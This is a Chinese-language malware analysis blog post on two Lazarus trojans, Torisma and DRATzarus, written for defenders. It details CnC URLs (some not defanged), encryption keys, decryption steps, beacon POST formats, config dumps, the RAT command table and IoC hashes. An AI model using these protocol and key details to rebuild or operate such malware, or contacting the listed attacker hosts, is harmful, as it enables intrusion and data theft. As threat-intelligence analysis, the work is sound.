APT组织Lazarus既往攻击工具Torisma与DRATzarus分析
2021-02-23 12:49:12 Author: blog.nsfocus.net(查看原文) 阅读量:243 收藏

阅读: 2

概述

在今年1月由Google披露的一起APT攻击活动中,朝鲜APT组织Lazarus对世界各国的安全研究人员进行了长期的渗透攻击。伏影实验室对该事件中出现的攻击载荷进行了深入分析,并将主体木马程序命名为STUMPzarus。

已发布的分析报告中,我们指出了STUMPzarus与Lazarus组织既往攻击工具在代码逻辑、通信格式、CnC格式等方面的高度相似性,并由此总结了Lazarus组织开发者在程序设计上的大量特征。在关联过程中,我们主要参照的Lazarus组织攻击载荷包括Torisma下载者木马和DRATzarus远控木马。

本文将对这两款出现在2020年初的木马程序进行分析和整理,作为直观展示Lazarus组织特征的一个参考。

Torisma

Torisma是一个用于从CnC获取和运行shellcode的木马程序,其设计思路和通信逻辑与STUMPzarus木马有很多相似之处,可以认为是STUMPzarus的雏形。

木马来源

与Torisma木马相关的攻击行动最早由迈克菲公司披露,并将其命名为Operation North Star(北极星行动)。

根据迈克菲报告所述,北极星行动最早在2020年1月就已经开始,Lazarus组织在该行动中投递了恶意的DOTM文件,进而释放Torisma木马。

以下页面:

http://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
https://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
https://www.fabianiarte.com/include/action/inc-controller-news.asp

被发现携带恶意的DOTM格式文件与恶意的ASP文件,这些恶意文件内部的VB脚本最终释放了Torisma木马。

主要功能

该Torisma木马是典型的间谍类木马程序,主要用于下载执行恶意shellcode与获取宿主机信息。

监控宿主机驱动器数量的变化

该木马使用GetLogicalDrives函数,从卷标A开始遍历宿主机的驱动器。木马会持续记录除CDROM以外的驱动器的总数,推测该功能实际作用为检测移动硬盘或U盘的接入。

监控活动RDP会话数量的变化

该木马使用动态获取的WTSEnumerateSessionsW函数,遍历本机开启的所有RDP会话。木马会持续记录活动RDP会话的数量,推测用于在后续行为中监听新建RDP会话内容。

收集本机信息并连接CnC

该木马的CnC地址被加密保存在代码段中,使用的加密算法为VEST-32,密钥为ff7172d9c888b7a88a7d77372112d772。解密后的3个CnC为:

hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
hxxps://www.scimpex.com/admin/assets/backup/requisition/requisition.php
hxxps://www.fabianiarte.com/newsletter/arte/view.asp

木马使用一个0~5区间的随机数来选择使用哪个CnC,根据其逻辑,3个CnC被选中的概率依次为66.7%、16.7%、16.7%。

该木马会获取宿主机MAC地址,组成上线包并发送给CnC。

获取并执行CnC发送的Shellcode

Torisma木马会使用特定格式的POST请求从CnC处获取一段加密数据,解密后作为Shellcode和参数执行。

此数据的对应的解密逻辑为:

  1. 使用“+”替换空格;
  2. base64解密;
  3. VEST-32解密,密钥为ff7172d9c888b7a88a7d77372112d772;
  4. 逐位减0x1A;
  5. 逐位异或0x7A。

解密后的数据有以下格式:

0x0:0x40x4:0x4+dwlen0x4+dwlen:
dwlen参数部分数据shellcode部分数据

此后,程序提取参数部分数据的前0x14字节,进行一些检查,检查方法为:

  1. 计算argbuf[0x0:0x8] ^ argbuf[0x8:0x10] + argbuf[0x0:0x8]
  2. 将计算结果与以下硬编码值作比较:
    1. 8A F0 DC 1B B3 A7 D0 0F
    1. 8A F0 DC 1B B3 A6 CF 0E
  3. 如果计算结果与任意硬编码值相同,则替换argbuf[0x0:0x10]为A1 CB 19 2A 3C EE E8 9A FF 1F 09 AE EC 14 19 2C,同时使用argbuf[0x10:0x14]初始化内存区。

随后Torisma运行解密获得的shellcode,并传递处理完毕的argbuf作为运行参数。

向CnC发送指定命名管道中获得的数据

与CnC连接成功后,Torisma木马启动一个新线程,读取特定命名管道“\\.\pipe\fb4d1181bb09b484d058768598b”的内容,将数据加密后发送给CnC。

此处加密逻辑与上述解密逻辑对应:

  1. 逐位异或0x7A;
  2. 逐位加0x1A;
  3. VEST-32加密,密钥为ff7172d9c888b7a88a7d77372112d772;
  4. base64加密。

由此可以推测,Torisma木马读取的命名管道应为Torisma获取的shellcode创建,该管道通信用于窃取由shellcode暴露的信息。

通信模式

Torisma木马的所有通信基于https,下述内容皆为还原后的流量格式。

上线通信

Torisma上线包构成为:

ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d

其中PAGE参数项数值为宿主机MAC地址,CODE参数项数值为用作会话ID的10位随机ASCII数字,CACHE参数项包含base64编码的配置信息(包括CnC地址、MAC地址、会话ID、木马标志字符串MC0921),REQUEST参数项数值为4位随机ASCII数字。

一个由该木马发送的完整上线包示例如下:

POST /newsletter/arte/view.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Accept: /
Host: www.fabianiarte.com
Connection: keep-alive
Content-Length: 1517
ACTION=VIEW&PAGE=000c29584a960000&CODE=8554044764&CACHE=aAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBjAGkAbQBwAGUAeAAuAGMAbwBtAC8AYQBkAG0AaQBuAC8AYQBzAHMAZQB0AHMALwBiAGEAYwBrAHUAcAAvAHIAZQBxAHUAaQBzAGkAdABpAG8AbgAvAHIAZQBxAHUAaQBzAGkAdABpAG8AbgAuAHAAaABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMGMyOTU4NGE5NjAwMDAAAAAAAAAAADg1NTQwNDQ3NjQAAE0AQwAwADkAMgAxAAAAAAAAAAAAAgAAAA==&REQUEST=6293

其中User-Agent项使用宿主机的默认Agent字符串。

如果CnC在线,接收上线包后返回的流量中包含以下字符串:

Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}

该ClientID为硬编码数值,不会改变。

指令获取

随后Torisma木马发送以下格式的POST请求:

ACTION=PREVPAGE&CODE=C%s&RES=%d

CODE参数项数值为与前述相同的会话ID,RES参数项为2位随机数。

CnC会相应指令获取请求,发送加密数据给Torisma。对应解密逻辑见上文。

发送命名管道信息

同时,Torisma木马会向CnC发送指定命名管道的信息,使用的POST请求格式为:

ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d

CODE参数项数值为与前述相同的会话ID,RES参数项为2位随机数,CACHE项为加密数据。对应加密逻辑见上文。

DRATzarus

DRATzarus是一个具有完整RAT功能的远控木马程序。DRATzarus木马展现了大量Lazarus组织的代码特征,其RAT功能部分可上溯至Lazarus组织于2017年使用的Bankshot木马,CnC地址通信协议则与Torisma木马高度相似。

基于代码的相似性,DRATzarus木马同样可以认为是STUMPzarus的雏形之一。

木马来源

DRATzarus木马最早由ClearSky披露,相关事件被称为Operation Dream Job(梦想工作行动)。根据ClearSky报告所述,梦想工作行动同样是由Lazarus组织的攻击活动,并且与北极星行动的攻击周期大致相同。在该行动的主要攻击链中,Lazarus组织通过诱饵文档的方式投递了DRATzarus木马。

基本框架

DRATzarus的第一阶段文件是x86 exe文件。该程序在运行后首先获取运行时参数并进行判断,正确的运行参数为ASCII字符串844513479。

同时,该外壳程序带有简单的对抗手段,使用包括IsDebuggerPresent、GetTickCount等方法。

验证参数后,程序解密并释放内置的第二阶段PE文件,此处解密步骤如下:

  1. 使用RC4算法解密硬编码数据,RC4键为F3 77 31 29 2C 00 88 EC 94 4B 5F 50 F4 07 5B EC;
  2. gzip解压缩。

解密完毕后获得的PE文件即为DRATzarus本体程序,外壳程序负责载入该程序。

DRATzarus本体程序为DLL文件,使用RC4加密和动态API获取的方式保护程序中字符串与函数。该样本中使用的RC4密钥为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4。

DRATzarus将config数据存放于一块长度为0x2691的内存中,并使用RC4解密后的各个字符串初始化该内存区域。该样本初始化的config数据如下:

0000h: 72 38 34 53 69 57 6C 4C 31 63 43 75 56 37 31 62 r84SiWlL1cCuV71b
0010h: 00 32 37 5A 00 45 00 78 00 65 00 00 00 00 00 00 .27Z.E.x.e……

0210h: 00 00 00 00 00 00 00 00 00 00 00 00 00 43 00 3A ………….C.:
0220h: 00 5C 00 55 00 73 00 65 00 72 00 73 00 5C 00 52 ..U.s.e.r.s..R
0230h: 00 56 00 4D 00 5C 00 44 00 65 00 73 00 6B 00 74 .V.M..D.e.s.k.t
0240h: 00 6F 00 70 00 00 00 00 00 00 00 00 00 00 00 00 .o.p…………

0A10h: 00 00 00 00 00 00 00 00 00 00 00 00 00 68 00 74 ………….h.t
0A20h: 00 74 00 70 00 3A 00 2F 00 2F 00 77 00 77 00 77 .t.p.:././.w.w.w
0A30h: 00 2E 00 6B 00 74 00 72 00 69 00 2E 00 6F 00 72 …k.t.r.i…o.r
0A40h: 00 2E 00 6B 00 72 00 2F 00 75 00 70 00 6C 00 6F …k.r./.u.p.l.o
0A50h: 00 61 00 64 00 2F 00 6D 00 61 00 69 00 6C 00 2F .a.d./.m.a.i.l./
0A60h: 00 75 00 70 00 6C 00 6F 00 61 00 64 00 2E 00 61 .u.p.l.o.a.d…a
0A70h: 00 73 00 70 00 00 00 00 00 00 00 00 00 00 00 00 .s.p…………

1030h: 00 00 00 00 00 68 00 74 00 74 00 70 00 3A 00 2F …..h.t.t.p.:./
1040h: 00 2F 00 77 00 77 00 77 00 2E 00 69 00 6C 00 68 ./.w.w.w…i.l.h
1050h: 00 61 00 6B 00 2E 00 63 00 6F 00 2E 00 6B 00 72 .a.k…c.o…k.r
1060h: 00 2F 00 69 00 6D 00 61 00 67 00 65 00 73 00 2F ./.i.m.a.g.e.s./
1070h: 00 64 00 61 00 74 00 61 00 2F 00 75 00 70 00 6C .d.a.t.a./.u.p.l
1080h: 00 6F 00 61 00 64 00 2E 00 61 00 73 00 70 00 00 .o.a.d…a.s.p..

1640h: 00 00 00 00 00 00 00 00 00 00 00 00 00 68 00 74 ………….h.t
1650h: 00 74 00 70 00 73 00 3A 00 2F 00 2F 00 77 00 61 .t.p.s.:././.w.a
1660h: 00 72 00 65 00 76 00 61 00 6C 00 6C 00 65 00 79 .r.e.v.a.l.l.e.y
1670h: 00 2E 00 63 00 6F 00 6D 00 2F 00 73 00 75 00 70 …c.o.m./.s.u.p
1680h: 00 70 00 6F 00 72 00 74 00 2F 00 6F 00 72 00 61 .p.o.r.t./.o.r.a
1690h: 00 6E 00 67 00 65 00 5F 00 6F 00 70 00 65 00 6E .n.g.e._.o.p.e.n
16A0h: 00 2E 00 61 00 73 00 70 00 00 00 00 00 00 00 00 …a.s.p……..

1E90h: 00 43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F .C.:..W.i.n.d.o
1EA0h: 00 77 00 73 00 5C 00 73 00 79 00 73 00 74 00 65 .w.s..s.y.s.t.e
1EB0h: 00 6D 00 33 00 32 00 5C 00 63 00 6D 00 64 00 2E .m.3.2..c.m.d..
1EC0h: 00 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 .e.x.e……….

2690h: 00 .

该config数据符合以下格式:

0x0:0x100x100x11:0x140x15:0x21D0x21D:0xA1D0xA1D:0x10350x1035:0x164D0x164D:0x1E910x1E91:0x2691
随机值0x00随机值程序类型程序运行目录CnC_1CnC_2CnC_3cmd程序路径

DRATzarus使用一个全局标记指定程序的运行模式。当标志值为0x3456时,程序以隐匿模式运行,当标志值为0x3457时,程序以记录模式运行,会将运行记录等信息保存在注册表键SOFTWARE\Microsoft\Windows\CurrentVersion\MediaConfigs中。

该注册表项的属性与值对应如下:

属性
Description加密后的config数据
KeyValueconfig数据更新流量中内置的时间戳
MouseValueconfig数据更新时的时间戳
USBValueconfig更新标志位

该样本程序以隐匿模式运行。

主要功能

DRATzarus是功能比较完善的RAT木马,支持各种类型的文件操作、进程操作、cmd运行等RAT常规功能。

样本DRATzarus程序支持的指令码与对应操作如下:

cmdcodeaction
1获取指定文件的大小和内容
2写入至指定文件
3写入至固定路径%TEMP%tmp*****dt.tmp
4清空并删除指定文件
5设置指定文件的属性
6获取目录遍历信息
7获取驱动器卷标、容量等信息
8执行指定cmd命令
9使用宿主机用户令牌执行cmd命令
10获取进程遍历信息
11终止指定进程
12心跳指令检测联通性
13监控宿主机驱动器和RDP会话数量变化
14更新程序注册表项中的内容
15更新配置文件
16获取程序当前的配置文件
17自删除
18使木马连接指定网址
19执行指定cmd命令,并将输出保存至固定路径%TEMP%tmp*****dt.tmp
20切换至指定目录
21获取木马运行目录
71获取宿主机软硬件信息

通信模式

程序初始化完成后,向CnC发送上线信息。

上线流量

DRATzarus的上线流量样式如下:

POST /images/data/upload.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: www.ilhak.co.kr
Content-Length: 93
Cache-Control: no-cache
QI=81&YZKHQ=(null)&DPFU=1pyQ983zyOiVx+fR8pOVxu326Oc=&VOJOAI=0&JMECWW=0&LJSKLL=&TTBKGH=OUBSLTI

其中,HTTP正文部分由7个参数与数据组成,名称与内容对应如下:

参数号参数名参数名长度参数内容参数内容长度
1随机ASCII字符2字节指令号码cmdcode1字节
2随机ASCII字符5字节(null)6字节
3随机ASCII字符4字节加密木马编号28字节
4随机ASCII字符6字节数据包类型标记packetmark1字节
5随机ASCII字符6字节RC4加密数据长度不定长
6随机ASCII字符6字节RC4加密数据不定长
7随机ASCII字符不定长无意义随机值不定长

参数1中指令号81代表上线指令。

参数6加密数据使用的RC4密钥与字符串解密阶段使用的密钥相同,为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4。

所有参数内容经过以下步骤加密:

  1. 逐位异或0xA4;
  2. base64转码。

此后,DRATzarus使用完全相同的格式发送后续的所有数据包。

CnC回复格式

CnC使用以下格式响应DRATzarus的POST请求:

0x0:0x50x5:0x70x7:0x100x10:
cmdcodepacketmark加密数据长度加密数据

CnC发送的加密数据对应如下步骤进行解密:

  1. 将密文中空格替换为”+”号;
  2. base64解密;
  3. 逐位异或0xA4;
  4. RC4解密,密钥为B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4

IoC

Torisma md5:

634529CEF6A2FDD6C5EFEB658F43EB94

9A00EBE67D833EDB70ED6DD0F4652592

Torisma url:

http[:]//fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg

https[:]//fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg

https[:]//www.fabianiarte.com/include/action/inc-controller-news.asp

https[:]//www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php

https[:]//www.scimpex.com/admin/assets/backup/requisition/requisition.php

https[:]//www.fabianiarte.com/newsletter/arte/view.asp

DRATzarus md5:

a3de22b6a8f4f9c7f77fc3901c9763d2

42738d1824e5158a114a50bc07e12e8c

4556A30FC3F301C8C511BEC47ECDF4AA

DRATzarus CnC:

http[:]//www.ktri.or.kr/upload/mail/upload.asp

http[:]//www.ilhak.co.kr/images/data/upload.asp 

https[:]//warevalley.com/support/orange_open.asp


文章来源: http://blog.nsfocus.net/analysis-of-torisma-and-dratzarus-the-former-attack-tools-of-lazarus/
如有侵权请联系:admin#unsafe.sh